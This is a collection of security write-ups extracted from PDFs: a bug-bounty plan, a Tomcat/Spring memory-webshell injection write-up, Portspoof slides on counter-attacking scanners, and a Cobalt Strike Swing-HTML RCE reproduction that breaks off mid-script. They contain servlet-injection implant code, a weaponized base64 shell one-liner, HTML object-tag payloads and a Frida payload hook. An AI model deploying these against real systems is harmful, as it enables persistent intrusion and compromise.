针对性的⼿⼯挖掘，如业务逻辑漏洞越权、复杂的rce等\n4. 第⼀个⽉可以不赚钱，后⾯每个⽉最少要赚两万温饱费\n好了，先简单罗列这⼏条相对具体⼀点的实现路径和kpi。\n0x02 梳理“派系” \n在具体开始前，我们还需要梳理⼀下赏⾦猎⼈的派系。什么是派系呢？这其实是我⾃⼰对⼀些⽅向\n的分类，因为⼈不可能所有⽅向都很侧重，所以我们⾸先要知道有哪些⽅向其次再强化⾃⼰擅⻓的\n⽅向以及通过⾃动化等⽅式来保底那些不擅⻓的⽅向。\n地域和⾏业划分 \n⾸先按照地域划分，可以粗暴的划分为国内和国外两派，这不是说国外多好或者国内多差，⽽是不\n同的国家地域，所有的基础建设和⽣态不同，这会导致整体技术栈都不相同。国外也可以细分成各\n个国家，每个国家⾃⼰本⼟企业可能会⽤的技术栈都有所不同。举⼏个例⼦可能你就明⽩了，⽐如\n国内hw打的⻜起来的那些四⼤OA、深信服vpn、天擎等，在国外就基本看不到。如果你要打国外\n的src的⼚商的基础资产你可能需要打cisco等，这并不是意味着cisco就⽜逼，⽽是想说明⼀点：⽣\n态不同意味着攻击⽅向不同。\n⾏业的划分也是如此，不同国家不同领域的⾏业，所⽤基础设施也会不同，那么相应的通⽤组建漏\n洞就不太⼀样了。就⽐如fastjson，国外就少⻅，国内就很多。\n事件型与通⽤型 \n事件型和通⽤型其实在漏洞法⾥就有过区分，简单来说前者是⽬标⼚家的专属漏洞，⽐如它的业务\n逻辑漏洞、web越权等甚⾄是某台VPN未打补丁因此存在1day漏洞，这些都属于这个src⼚商的事\n件漏洞。通常src挖掘也都是事件漏洞。\n通⽤型漏洞就是通常所指的各种通⽤产品、组建框架的0day，这些产品框架有⼀些也会有专属src\n或者平台⾼价收购0day，所以这也是⼀种bugbounty。\n这就会带来两种不同的挖掘思路：\n1. 事件型就像是hw打点，重在搜集⼚家信息和扫描挖掘各种逻辑漏洞和1day利⽤\n2. 通⽤型重在产品的代码审计和⼆进制挖掘等\n当然这两者在有些时候也会交叉在⼀起，⾄少我们在挖掘前应该先分清楚⾃⼰偏向于哪⼀类。\n基础漏洞与RCE \n为什么我要专⻔这样做区分呢？\n前⾯我将事件型漏洞挖掘⽐作hw打点其实是不完全的，hw打点其实是事件型漏洞挖掘的⼀个⼦\n集，⽽事件型漏洞挖掘还包含有各种那些不起眼的基础漏洞，⽐如反射型XSS、ID越权遍历、任意\n账户找回、免费领活动、短信验证码爆破等。也就是说，分清楚⾃⼰是像chybeta⼀样只爱RCE\n呢，还是做个越权XSS⼩⼦来恰五⼗⼀百的烂钱呢，这其实是⼀个很重要的定位。\nsrc⾥总⾦额最⾼才是硬道理，技术含量并不重要。因此不要有技术偏好，只是要搞清楚哪个适合\n⾃⼰。\n0x03 我的定位 \n我的话可能会国内国外都搞搞，国内的话就挑⼀两家⽐如sxf，国外则在h1或者bugcrowd上找⼚\n家，然后对于挖掘⽅向应该是先实现⼀套半⾃动的事件型漏洞挖掘的平台，然后再将⼀部分注意⼒\n放在通⽤型产品的审计上。\n0x04 明确⼚家要求 \n作为挖掘初期要做的事情就是阅读每个src的规则列表。这⾮常重要，每家规则可能都会有⼀些差\n异，这其中包括对于某些漏洞的验证上，⽐如ssrf的验证可能会提供⼀个⽬标域名，你只有指定访\n问该域名的ssrf才是有效的。⼜⽐如有些src不收xss、CSRF、DoS等，不仅仅是国内⼚家，国外也\n很多⼚家明确不收，甚⾄于超出scope也⼀律不收，所以在没有阅读规则前就⾃⼰去挖洞，很容易\n提交后被忽略。因此如果规则上明确了不收取，就不要费劲去挖掘然后掰扯。\n0x05 基础设施构想 \n有了定位后，开始重头戏也就是基础设施的构思。\n因为我们需要⼀套半⾃动的平台做src挖掘的⽀撑，那么就需要去考虑该平台⼤体构成有哪些。基\n本上还是采⽤搭积⽊的⽅式，通过选型开源的组件然后⾃⼰在做⼀些粘合和微创新。\n信息搜集 \n信息搜集其实是⼀个⾮常⼤的块，⼀时半会讲也讲不完，不过⽬前来说最基本的就⼏个：\n1. 域名信息搜集\n2. 端⼝扫描\n3. github等敏感信息泄漏\n⽬前来看初步定在⼀个arl灯塔来做基础的信息平台，oneforall等脚本做补充的域名信息搜集。\n通⽤扫描器 \n扫描器的选择基本就三个：nuclei、xray、awvs\n这三个都可以扫描通⽤漏洞和框架漏洞，前两个容易做底层集成，awvs可能作为单独部署的额外\n扫描⽤。\n爆破模块 \n爆破是事件型漏洞的精华所在，当你没有思路的时候就祭出⼀⼿爆破⼤⼒出奇迹准没错。爆破的话\n主要有⼏个东⻄要爆破：\n1. host碰撞\n2. url⽬录爆破\n3. 参数爆破\n典型的⽬录爆破可以⽤dirsearch，burp其实也⾏。\n⼿⼯测试⼯具 \n不⽤说，肯定是yakit和burpsuit这两个东⻄，⼀般来说传统的还是⽤burp为主，yakit可以⽤来做\nburp的补充，尤其是当burp指纹被waf拦截的时候或者构造⼀些特定报⽂的时候。\n0x06 总结 \n⼤致的定位有了，基本的设施覆盖有了，接下来就可以先把东⻄搭起来了。\n其实很多⼯具都是⼤同⼩异，并不是⼀定要⽤哪个就是好，最重要的是先让它跑起来覆盖到我们需\n要的⼀些⾯。\n下⼀篇将会在具体的基础设施构建上进⾏记录。"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":40,"cells":{"text":{"kind":"string","value":"1\nAs-Exploits内存⻢兼容Spring\n前⾔\n过程\n关于反射的坑\naddServletMapping的兼容性问题\n运⾏截图\n最后\n@yzddmr6\n最近在对As-Exploits的内存⻢部分做兼容Spring处理。原来只是照搬了哥斯拉的⼀些payload，现在需要\n深⼊研究⼀下了。\n⾸先要Spring中默认没有pageContext的依赖，所以相关的依赖部分都要去除。蚁剑的jsp很早就不依赖\npageContext了，相关⽂章以前也写过，不知道的同学可以翻⼀翻我的博客。\n在研究过程中可以发现哥斯拉中的payload基本都是⽤反射实现的，这样的好处就是可以不添加任何依赖。\n这也是为什么哥斯拉只有8m的原因。\n去除掉所有的pageContext后，在Spring中获取servlet没有问题，但是卸载的时候报了⼀个错误\n前⾔\n过程\n关于反射的坑\n 1 public String unLoadServlet() {\n 2 if (wrapperName != null && wrapperName.length() > 0 && ur\nlPattern != null && urlPattern.length() > 0) {\n 3 try {\n 4 Object o = getFieldValue(this.request.getServletC\nontext(), \"context\");\n 5 Field field = o.getClass().getDeclaredField(\"cont\next\");\n 6 field.setAccessible(true);\n 7 Object standardContext = getFieldValue(o, \"contex\nt\");\n2\n内存⻢管理模块报了⼀个这样的错误：\n 8 Object wrapper = this.invoke(standardContext, \"fi\nndChild\", wrapperName);\n 9 Class containerClass = Class.forName(\"org.apache.\ncatalina.Container\", false, standardContext.getClass().getClassLo\nader());\n10 if (wrapper != null) {\n11 standardContext.getClass().getDeclaredMethod(\n\"removeChild\", containerClass).invoke(standardContext, wrapper);\n12 this.invoke(standardContext, \"removeServletMa\npping\", urlPattern);\n13 if (this.getMethodByClass(wrapper.getClass(), \n\"setServlet\", Servlet.class) == null) {\n14 this.transform(standardContext, urlPatter\nn);\n15 }\n16\n17 return \"ok\";\n18 } else {\n19 return \"not find wrapper\";\n20 }\n21 } catch (Exception var8) {\n22 return var8.getMessage();\n23 }\n24 } else {\n25 return \"wrapperName or urlPattern is Null\";\n26 }\n27 }\n1 15e0d5bERROR:// java.lang.NoSuchMethodException: org.springframewo\nrk.boot.web.embedded.tomcat.TomcatEmbeddedContext.removeChild(org.\napache.catalina.Container)adc1b2c\n3\n定位⼀下问题出在这⾥\n意思就是在StandardContext中找不到removeChild这个⽅法。\n调试⼀下发现，Spring中获取到的StandardContext示例为其⼀个⼦类，叫做\nTomcatEmbeddedContext。虽然Spring中内置了Tomcat，但这个是Spring特有的。\nTomcatEmbeddedContext继承了StandardContext，并且没有对removeChild进⾏改写，如果⽗类有这\n个⽅法应该是可以调⽤的。\n开始以为是Spring在StandardContext中删掉了此⽅法，结果翻到⽗类StandardContext，发现跟普通的\nTomcat⼀样，调⽤的org.apache.catalina.core.ContainerBase#removeChild\norg.apache.catalina.core.ContainerBase#removeChild\n4\n后来发现先⼊为主了，问题不是出在没有这个⽅法上，⽽是出在反射的写法上。这⾥要提⼀下反射中\ngetMethods 跟getDeclaredMethods 的区别：\ngetMethods 获取所有公有⽅法（包括⽗类⽅法）\ngetDeclaredMethods 获取本类中的所有⽅法 (只拿本类中的)\n哥斯拉中⽤的getDeclaredMethod，也就是只能获取到本类中的⽅法，⾃然反射拿不到⽗类的\nremoveChild。\n所以解决办法要么把getDeclaredMethod换成getMethod，因为removeChild本来就是public的，要么就\n直接调⽤removeChild⽅法，不采⽤反射。在这⾥我采⽤了后者。\n在内存⻢模块同理，这⾥直接全部改了，不再⽤反射。\n要注意的是，在添加servlet的过程中，会涉及到addServletMapping函数的兼容性问题，并且很多⽂章中\n并没有仔细分析具体的版本号。这⾥贴⼀下我研究的结果：\ntomcat7 只能addServletMapping\ntomcat8 addServletMapping/addServletMappingDecoded都可以\ntomcat9 只能addServletMappingDecoded\n在这⾥要么⽤反射，两种⽅法都try⼀下。在这⾥提供⼀个更好的解决办法，使⽤\nApplicationServletRegistration这个类。ApplicationServletRegistration对wrapper做了封装，⾃动会\n处理两种⽅法的兼容性。\n核⼼代码如下：\naddServletMapping的兼容性问题\n 1 public String addServlet() throws Exception {\n 2 ServletContext servletContext = this.request.getServletCo\nntext();\n5\n 3 ApplicationContextFacade applicationContextFacade = (Appl\nicationContextFacade) servletContext;\n 4 Field applicationContextField = applicationContextFacade.\ngetClass().getDeclaredField(\"context\");\n 5 applicationContextField.setAccessible(true);\n 6\n 7 ApplicationContext applicationContext = (ApplicationConte\nxt) applicationContextField.get(applicationContextFacade);\n 8 Field standardContextField = applicationContext.getClass(\n).getDeclaredField(\"context\");\n 9 standardContextField.setAccessible(true);\n10 StandardContext standardContext = (StandardContext) stand\nardContextField.get(applicationContext);\n11\n12 Wrapper wrapper = standardContext.createWrapper();\n13 // 改为⼀个有迷惑性的名字\n14 wrapper.setName(name);\n15 standardContext.addChild(wrapper);\n16\n17 wrapper.setServletClass(this.getClass().getName());\n18 wrapper.setServlet(this);\n19\n20 ServletRegistration.Dynamic registration = new Applicatio\nnServletRegistration(wrapper, standardContext);\n21 registration.addMapping(path);\n22 registration.setLoadOnStartup(1);\n23 if (this.getMethodByClass(wrapper.getClass(), \"setServle\nt\", Servlet.class) == null) {\n24 this.transform(standardContext, this.path);//兼容tomca\nt5/6\n25 this.init((ServletConfig) getFieldValue(wrapper, \"fac\nade\"));\n26 }\n27 return \"Success\";\n28\n29 }\n运⾏截图\n6\n获取Servlet\n打⼊蚁剑内存⻢\n7\n再次获取Servlet，发现已经有了，并且在第⼀位。\n8\n连接成功\n卸载Servlet\n卸载后再次获取Servlet列表\n9\n虽然我们可以通过setLoadOnStartup把servlet放在第⼀位，但是⾯对需要鉴权的shiro等⽬标打⼊⼀个\nservlet内存⻢还是有不⼩的局限性。所以⽬前filter内存⻢依旧是主流。但是蚁剑是⽀持listener类型的，\nlistener的优先级还在filter之上。所以以后可能直接跳过filter，直接加⼊listener的payload。\n最后"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":41,"cells":{"text":{"kind":"string","value":"© 2012 \nPresented by: \nPwn’ing you(r) cyber offenders \nPiotr Duszynski \n@drk1wi \n© 2012 \n;WHOAMI;#? \n• \nSenior Security Consultant @Trustwave (OSCE, OSCP, …) \n• \nIn security field for the past 6 years, hacking since 9 … \n• \nEnjoys security research, crazy road trips and good music \n• \nLives and works in Warsaw (Poland) \n2 \n© 2012 \nWhat is this presentation about? \n1. “Annoyance and Camouflage” \nNew defensive technique that renders your attacker’s port scan results \nnearly useless … \n2. “Active (Offensive) Defense” \nNew attack vectors against you(r) attackers offensive toolbox … \n• \nPOC DEMO: example exploit for one of the well known scanners. \n3 \nActive Defense in practice \n© 2012 \n© 2012 \n“To blind attackers’ tools” \nThe art of Annoyance and Camouflage \n© 2012 \nA typical reconnaissance phase \n• \nStandard case scenario (target system is behind a Firewall) \n5 \n# nmap -sV -O portspoof.org \n© 2012 \nPortspoof – implementation of the idea \n6 \nWhat if (worst case scenario): \n• All 65535 ports appear to be open … \n*Portspoof will bind to a single port \n• On every open port there appears to be a service listening… \n*Portspoof will dynamically generate valid service signatures ~ 8000 supported \nTASK: Get a precise state of all running services… \n© 2012 \nSpicing up the reconnaissance phase \nwith Portspoof \n• \nWorst case scenario (target system is behind the Portspoof) : \n7 \n$ nmap –sV -p - -PN portspoof.org \n…. Will require a lot of patience! \n© 2012 \nSpicing up attackers’ port scan results \n8 \nScanning statistics: \n65.535 open ports (services) \n~120 MB of sent data \n30682 s (8.5h) \nand few beers later … \n© 2012 \nSpicing up attackers’ port scan results \n9 \n© 2012 \nSpicing up attackers’ port scan results \n10 \n… and somewhere in the \nresults you can find the \nhidden message … \n© 2012 \nSpicing up attackers’ port scan results \n• \nNMAP OS identification results \n11 \n$ nmap –sV -O portspoof.org \n© 2012 \nSpicing up attackers’ port scan results \n• \nNMAP OS identification results: \n12 \nDevice type: general purpose \nRunning (JUST GUESSING): Linux 3.X (93%) \nOS CPE: cpe:/o:linux:linux_kernel:3 \nAggressive OS guesses: Linux 3.2 (93%), Linux 3.0 (92%), Linux 3.0 - 3.2 \n(85%) \nNo exact OS matches for host (test conditions non-ideal). \nService Info: Hosts: gTknkkuB, ouwH-rKWw, bWQnRo, ClFfHC, leLtAJg; \nOSs: Unix, Windows, Linux, Solaris, NetWare; \nDevices: print server, webcam, router, storage-misc, printer; \nCPE: cpe:/o:microsoft:windows, cpe:/o:redhat:linux, cpe:/o:sun:sunos,cpe:/\no:novell:netware, cpe:/o:linux:linux_kernel \n© 2012 \nSpicing up attackers’ port scan results \n• \nAMAP: $ amap -q portspoof.org 3000-3100 \n13 \n© 2012 \nSpicing up attackers’ port scan results - \nconclusions \n• \nSYN/ACK/FIN/… stealth scans are no longer helpful! \n• \nOS identification is a bit more challenging … \n• \nForces to generate a huge amount of traffic through service probes … \n• \nFrustrates and forces to carry out a huge amount of arduous by your \nattackers … \n14 \n“Security by obscurity” - \nbut so is the mimicry in the \nnatural environment… \n© 2012 \nBypassing Portspoof \n• \nThere is no trivial way to detect false signatures \n• \nIP Fragmentation and other network evasion techniques will not work \n• \nThread pool exhaustion (Full connect TCP DOS): \n$ nmap -sV portspoof.org (30 parallel instances) \n~ 999/1000 ports were found as open \nANTI-DOS SOLUTION: \n1. Play with Portspoof thread count and client/thread parameters . \n2. Use iptables mark rules and tc (traffic shaper). \n15 \nPlease send any bypass ideas to the portspoof mailing list ;) \n© 2012 \nPortspoof tool \n• User space software running without root priv. ! (no kernel \nmodules) \n• Binds to just one port per instance (127.0.0.1:4444) \n• Configurable through iptables: \n- A PREROUTING -i eth1 -p tcp -m tcp --dport 1:65535 -j REDIRECT \n--to-ports 4444 \n• Marginal CPU/memory usage (even while handling heavy and \nmultiple scans) \n• Over 8000 dynamic service signatures \n16 \n© 2012 \n© 2012 \n“Active (Offensive) Defense in practice” \nexploiting your attackers’ tools… \n“The best defense is a good offense” - Sun Tzu (The Art of War) \n© 2012 \nAutomated exploitation through Nmap \nInteresting injection points through NMAP service probe engine: \n• \nVersion fields \n• \nHosts fields \n18 \n./portspoof –f fuzz_payloads –n fuzz_nmap_signatures \n© 2012 \nOpen source reporting tool: \nXSS example \n19 \nNmap report generation tool nr.1 (anonymous) \nTip: Safari ‘Same Origin Policy’ for file URIs doesn’t work. \nRegards to Michele Orru! \n© 2012 \nCommercial port scanner: \nnon-Nmap XSS example \n20 \nreport generation tool nr. 2 (McAfee SuperScan 4.0) \nXSS payload: partially UTF-7 encoded without parenthesis \n© 2012 \nPublic exploit script: \nOS command injection example nr.3 \n21 \nExploiting your attackers’ exploits :D \n# Lotus CMS 3.0 eval() Remote Command Execution Exploit: \n© 2012 \nPublic exploit script: \nOS command injection example \n22 \nPortspoof exploiting payload: 80 “whoami\\n” \nExploits’ new extra output: \nVulnerable code : $( cat “storage2” ) \nFAIL -----> \n© 2012 \nPublic exploit script: \nOS command injection example \n23 \nCreating a weaponized OS command injection payload one-liner for : \n---------------------------------------------------------------------------------------------\n/bin/bash\\t-c\\t{perl,-e,$0,useSPACEMIME::Base64,B64_perl_payload }\\t \n$_=$ARGV[0];~s/SPACE/\\t/ig;eval;$_=$ARGV[1];eval(decode_base64($_)); \n----------------------------------------------------------------------------------------------------- \n• Use \\t instead of spaces \n• Use ‘Bash Brace Expansion’ to address the lack of apostrophes \n• Use regex to add additional \\t \n• Import missing packages on the fly and execute Base64 encoded payload >:] \n$(cat file) \n© 2012 \nPublic exploit script: \nOS command injection example \n24 \nExploits’ new extra output: \nVulnerable code : $( cat “storage2” ) \n© 2012 \nPublic exploit script: \nOS command injection example nr.4 \n25 \ncookie= \n`printf \"GET /jmx-console/ HTTP/1.1\\nHost: $1\\n\\n\" | nc $1 \n$2| grep -i JSESSION | cut -d: -f2- | cut -d\\; -f1` \nCode snippet from one of the ‘auto_pwn’ scripts: \nPortspoof exploiting payload: 80 “whoami\\n” \n© 2012 \nBlind exploitation with Portspoof (aka. \nEvil Honeypot) \n26 \nConclusions: \n- Majority of exploits, reporting tools and scanning software \nis exploitable with simple payloads … ;whoami; \n- Auto-PWN scripts are usually dumb (they try to exploit all ports) … \nTo rule them all… \n© 2012 \nIn hunt for a vulnerable software … \n Use your Google jutsu skills (previous examples were found in TOP10) : \n27 \nAnd you will find many interesting targets… \nTip: search for .sh (~8000 results), .pl , etc. \n© 2012 \n© 2012 \nOfficial Nmap NSE PWN Demo \n© 2012 \nThank you J \nPortspoof URLs: \nhttp://portspoof.org/ \nMailing list: \nportspoof-users-subscribe@portspoof.org \nGit repository (including the presented exploits): \nhttps://github.com/drk1wi/portspoof/ \nContact me: \npiotr[at]duszynski.eu (PGP fingerprint: FCD2 B5DA 1AE2 056F 4AC8 \n901D 7258 7496 ECCD 36F3) \nhttp://twitter/drk1wi \n29"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":42,"cells":{"text":{"kind":"string","value":"记⼀次CS RCE曲折的复现路 \n0x00 前⾔ \n就在前⼏天，⽆敌的北⾠少爷向CS官⽅提交了⼀个RCE漏洞，通过该漏洞可以在捕获攻击者的beacon后\n向teamserver发送包含xss的数据，经过反射后最终在攻击者的client上执⾏RCE，该漏洞编号为CVE-\n2022-39197。可⻅这是⼀个可遇不可求的反制⿊客的神洞，安服仔的噩梦。既然是暴打jb⼩⼦的漏洞，\n那⼀定要复现⼀下，于是我下定决⼼燃烧精元死命肝，在群友的⼤⼒⽀持下终于跌跌撞撞的完整的复现了\n该漏洞。回过头来看这⼏天，真是学了⼀⻋⽪的东⻄。\n0x01 起点 \n相信⼤家在这⼏⽇都已经⻅过了插img标签来获取⼀个反弹的get请求，⽐如\n在UI组件⾥写⼊ <html><img src=x> 就会得到这样的效果\n这是⼀个demo的java swing的代码，在jlabel⾥我直接输⼊了payload就会得到⼀个渲染失败的图⽚，学过\n基础的xss的都知道，这就是个html的img标签渲染失败的样⼦。这也意味着如果填⼊了远程地址，就会对\n远程服务器发送get请求。这也是这⼏天最常⻅的基础利⽤。\n那么这是为什么呢？没错，这就是swing（⼀种java GUI的库）⾃带的特性，也是⼀切的起点。\n我们直接⾕歌搜索swing html，第⼀条就是官⽅教你如何在swing⾥使⽤html标\n签。 https://docs.oracle.com/javase/tutorial/uiswing/components/html.html\n看到没，⽂档⾥直接告诉我们⼀个事实：在内容的开头插⼊ <html> 标签后续的内容就会被格式化为html\n⽂档进⾏解析，也就是说⽀持html标签。\n这⾥有个关键点就是at the beginning of the text，也就是说必须是开头插⼊ <html> 才⾏，这个点很关\n键记⼀下。\n⼤部分鲁特们看到这⾥，可能就很显然的认为既然⽀持html标签了那是不是直接套⼀套XSS那⼀套就可以\nRCE了，这么看来北⾠也没什么了不起，我直接插⼀个\n<script>alert(1)</script>\n<script>window.open('file://xxxx/calc.exe')</script>\n想怎么弹怎么弹，甚⾄还能引⼊外部js⽂件进⾏更多的XSS2RCE，这个漏洞没什么了不起，不过是他北⾠\n发现了这个特性罢了。\n很显然，事情没有那么简单，甚⾄复杂度超出你的想象。\n0x02 swing的html解析器 \n但凡盲测过也都会发现其实script标签是不⽣效的，不仅仅是script标签，很多标准的标签在swing这个场\n景⾥或多或少都受到⼀些功能限制。那么要实现RCE的话，突破点在哪⾥呢？这时候我们就需要从swing\n的代码⾥寻找答案了。\n打开jdk的rt.jar包，我们可以定位到swing的包内容\n接下来就是在swing⾥找答案了。\n可以看到带了⼀个套的html解析器，我们打开那个HTML啥的类随便看看\n会定义⼀⼤堆常⻅的html标签和属性，有标签定义那⼀定有标签解析之类的。东⻄太多我也不是⾮常看得\n懂，我就⼤概挑⼏个点说⼀下，⾸先是他定义了标签和对应的action\n⽐如我们熟悉的link标签\n会关联到linkaction\n会专⻔判断rel是不是stylesheet，是的话可以使⽤href去引⼊外部的css，但是如果你去查link⽀持的属性\n还会发现标准⾥⽀持⼀⼤堆的type，会有⼀⼤堆的骚操作，但是在这⾥他只有这两个type实际测下来是有\n反应的。\n从注释和代码⾥我们也能看到script标签是不⽀持的，这⾥其实写的也不太对，但是⾄少可以说明这些标\n签不是不⽀持，就是功能有残缺，实际上也是如此。\n然后再来看另⼀⽚段\n在HTMLEditorKit⾥的create⽅法可以看到不同的标签会对应到创建不同的view\n这⾥重点来了，⾸先看这个object标签，这是个啥呀？我们跟进去看看\n通过阅读注释我们可以了解到，这个objectview⼤体上就是可以实例化⼀个符合要求的类并且通过param\n进⾏参数传递！\n这有股天然的反序列化的味道了，因此这是RCE的⼀个极⼤可能的突破点。围绕这个object标签我们可以\n做的事情突然就从弹图⽚开始突破到了实例化任意类。\n先来看看后续的代码\n明显的反射调⽤并且实例化类，这⾥要注意的是他还加了个限制判断，也就是实例必须继承与\nComponent，否则就抛出异常。这也⼤⼤限制了我们所能操作的范围。\n我们继续跟⼊setParameters看看是怎么传递参数的\n总结下来就是：\n1. classid传⼊需要实例化的类，类必须继承与Component\n2. 必须有⽆参构造⽅法，貌似是因为newinstant是调⽤的⽆参构造⽅法\n3. 必须存在⼀个setXXX⽅法的XXX属性\n4. setXXX⽅法的传参数必须是接受⼀个string类型的参数\n因此找到符合上述条件的类和属性，接着看实例化后能做啥事即可。\n⽐如我们可以简单的来测试⼀个\n可以看到jlabel有⽆参数构造⽅法，并且有setText的满⾜条件的属性\n那么我们可以构造\n<html><object classid='javax.swing.JLabel'><parame name='Text' value='hahaha'>\n那其实就变成了从lib包⾥寻找符合条件的类和⽅法看看能不能最终做到RCE。\n在寻找符合条件的类之前我们先来看看这个标签，假设我们已经找到了能够RCE的链，他会是什么样⼦\n呢？\n加载远程payload，⽐如jndi什么的\n<html><object classid='xxx.xxx.xxx.xxx'><parame name='XXX' \nvalue='http://xxx.xxx.xxx.xxx/payload'>\n或者是直接打开本地的exe之类的\n<html><object classid='xxx.xxx.xxx.xxx'><parame name='XXX' \nvalue='file:///System/Applications/Calculator.app'>\n⼜或者是命令注⼊\n<html><object classid='xxx.xxx.xxx.xxx'><parame name='XXX' value='\";open \nhttp://www.baidu.com'>\n是不是这⼏种的可能性最⼤？\n关于⽤哪条链，我这边就不公开了，有兴趣的同学按照这个思路来寻找我相信很快就能在⼏百个类中找到\n可能的链了。\n接下来关于payload的⻓度，这怎么看都得六七⼗以上了，那么就会引出后续的⼀些限制问题。\n0x03 CS⾃身的限制 \n⼤家也都知道如何利⽤模拟beacon协议来插⼊img标签了，我这边再简单复述⼀下\nhttps://github.com/LiAoRJ/CS_fakesubmit\n这是⼀个模拟beacon的上线包的脚本，之前是⽤来打dos⽤的，现在可以⽤来插⼊payload，具体⽤法\ngithub⾥都有我就不赘述了。\n当插⼊数据的⻓度较⻓时，我们会发现⼀个问题：\n这⾥加上⻓payload后整体的包⻓度为132字节，⽽他报错意思是整个空间只有117字节，也就是说payload\n是有最⼤⻓度限制的。我们来更具体的解析⼀下为什么会有⻓度限制。先来⼤概了解⼀下beacon和team\nserver之间的交互流程，其实我也是临时百度的⽂章⾃⼰，基本上搜⼀下就有了类似的协议解析⽂章。\n我也不赘述太多，⼤家可以先⾃⼰看⼀看⽂章\nhttps://www.ijiandao.com/2b/baijia/423712.html\n简单来说分为两部分，第⼀部分是上线包，上线包是由RSA加密的metadata插在cookie⾥，这个\nmetadata就是元数据，⼤体包含⼀些基本信息⽐如⽤户名、主机名、操作系统信息和AES KEY等。\nteamserver通过metadata⾥解析这些数据后显示在⾸⻚，从⾥⾯获取aes key后⽤于后续的任务下发相关\n的数据加解密。\n⽽我们再来看CS的client的⾸⻚都有啥\n没错，就是这熟悉的⼏个字段，这些字段中⼤部分信息都来⾃于metadata。⽽metadata⾥的数据就是我\n们可以控制的插⼊到teamserver上进⾏展示的数据。\n回到117字节限制问题上来，我们在到CS的代码⾥看⼀看\n我们来到cs的teamserver的代码⾥直接搜117:\n跟进asymmetricCrypto.java⾥看看\n再来看fake client的代码\n是不是对应上了？这⾥有个⻓度字段，可以看到服务端是获取的我们传输的⻓度字段来做判断的，那有的\n同学就要问了，如果我把payload写的很⼤，但是⻓度给他传1是不是就过了校验了。答案是不⾏，有这个\n校验的根本原因在于RSA的加密算法本身对明⽂加密⻓度的限制\n⽽cs在加密metadata的时候⽤的RSA密钥的⻓度为128位，因此减去11刚好是117位。这个硬性的包体总⻓\n度限制是绕不过去的。\n那么payload最多可以压缩到什么程度呢？\n回到fake client⾥我们看⼀下\n可以看到前⾯⼀⼤坨都是改不了的，不是数字就是标识位写死的，会被teamserver⼀个个读取出来解析，\n我们的payload是字符串，你可以简单的认为数字位的都是不能⽤的。那最终可以写⼊payload的只有这⾥\n的computername、username、processname，对应到界⾯上就是这三个\n这⾥还有个知识点就是，如果我们要插⼊有效的payload，肯定只能全部插⼊到⼀个单元格⾥，⽽不能三\n个单元格格⾃插⼀部分来进⾏合并。因此我们看⼀下这三个字段在teamserver⾥是什么样⼦的形式\n可以看到是直接以 \\t 来切割字符串获取三个字段内容的，也就是说如果我们不⽤ \\t 就可以把所有内容\n都写到⼀个单元格⾥⽽且还能少省下两个字节的tab符号\n这⾥的 \\x09 也就是 \\t ，因此我们把这些都去了直接写payload就可以获取到最⼤可以操作的⻓度。这个\n⻓度为117-51=66，然后还要减去magic number和⻓度的8个字节，因此是66-8=58的⻓度限制。\n当然这是metadata的⻓度限制，但如果我们从后续的aes通信⾥打⼊payload则不受这个限制，这个会在\n后续再讲。\n0x04 jdk版本带来的变数 \n考虑到metadata有payload的限制，⽽前⾯说了利⽤object标签的话基本上你实际⽤过了就会发现58个字\n符的⻓度根本就不够，压缩不下来，如果你找到的链很复杂就更不可能了。那么从⼀个受限制的payload\n引申到不受限制的payload呢？\n⼀般来说我们在浏览器场景上会很容易的想到引⼊iframe标签来引⼊外部⻚⾯，引⼊外部⻚⾯也就是意味\n着引⼊外部html标签，那么这引⼊的外部html内容就不会受到⻓度限制了。可是当我们使⽤iframe标签盲\n测的时候会发现毫⽆反应。\n我们在翻翻代码，还记得前⾯依稀看到过frame标签\n实现了⼀个叫做frame的标签，我们也懒得看代码了，直接百度⼀下\n按照这个格式，frame标签有熟悉的src属性可以引⼊外部⻚⾯。但如果我们不在外层套frameset标签的话\n会报错\n<html><frame src=x>\n解决⽅法是套⼀个frameset\n<html><frameset rows=*><frame src=x>\n当然还有⼀个⼩技巧可以进⼀步压缩\n<html>1<frame src=x>\n这也是可以运⾏的。\n这在jdk⾼版本的时候是可以成功引⼊外部⻚⾯的，但是在java8俗称j8的jdk1.8上却会报错\n这个是由于frame在渲染frameview的时候会强制转换其⽗组件的类型为这个类型，然⽽转换失败了就会\n报错。这个问题在jdk1.8⾥是⽆解的，这也是我在⼀开始认为⽆法绕过⾸⻚⻓度限制的原因（因为我⽤的\njdk1.8）。\n好了，总之引⽤frame标签就可以绕过⾸⻚的⻓度限制了。\n那么如何在jdk1.8的情况下继续攻击⽬标呢？\n0x05 ⽆视jdk版本的RCE \n前⾯解释过了，⾸⻚受到metadata的⻓度的限制，⼏乎只有frame标签可以绕过限制，⽽jdk1.8版本的情\n况下是不可能使⽤frame标签进⾏绕过的。那么我们如何进⾏攻击？\n这时候我们就要退⽽求其次，假设攻击者可以和beacon进⾏交互操作的情况下看看能不能RCE。答案是\n肯定的。\n正如前⾯所说，beacon和teamserver的交互⼤体分为两个部分⼀个是上线包的RSA另⼀个是后续命令下\n发的AES，因此我们只需要在命令下发的AES流程⾥注⼊数据，那就可以⽆视metadata的⻓度限制问题从\n⽽进⾏RCE了。\n这样讲很抽象，可以看点实际的。\n也就是说除了⾸⻚那个列表和eventlog以外所有命令下发的回显和交互都是在AES⾥传递数据的，因此只\n要我们能看到的界⾯数据可以控制，就可以进⾏XSS攻击！\n这⾥我通过frada脚本来hook win api修改tasklist返回的进程名，将进程名改写成攻击payload，当攻击者\n点击beacon执⾏列出进程时，只要他浏览到带有payload的进程名，就会执⾏RCE！\n我在这个项⽬的基础上进⾏的修改 https://github.com/TomAPU/poc_and_exp/blob/master/CVE-2022-\n39197/cobaltfire.py\n我的frada脚本内容是\nimport frida\nimport time\nimport argparse\ndef spoof_user_name(target,url):\n #spawn target process\n print('[+] Spawning target process...')\n pid=frida.spawn(target)\n session=frida.attach(pid)\n js='''\n var payload=\"<html>beacon.exe <object classid='xxx.xxx.xxx.xxx'><param \nname='xxx'value='xxx'>\"\n payload=Array.from(payload).map(letter => letter.charCodeAt(0))\n var Process32Next=Module.findExportByName(\"kernel32.dll\", 'Process32Next')\n Interceptor.attach(Process32Next, {\n onEnter: function(args) {\n //var hProcessSnap=args[0]\n var info=args[1];\n this.info = info;\n //console.log(this.info);\n this.szExeFile=this.info.add(0x24);\n // console.log(this.szExeFile);\n },\n onLeave: function(retval) {\n 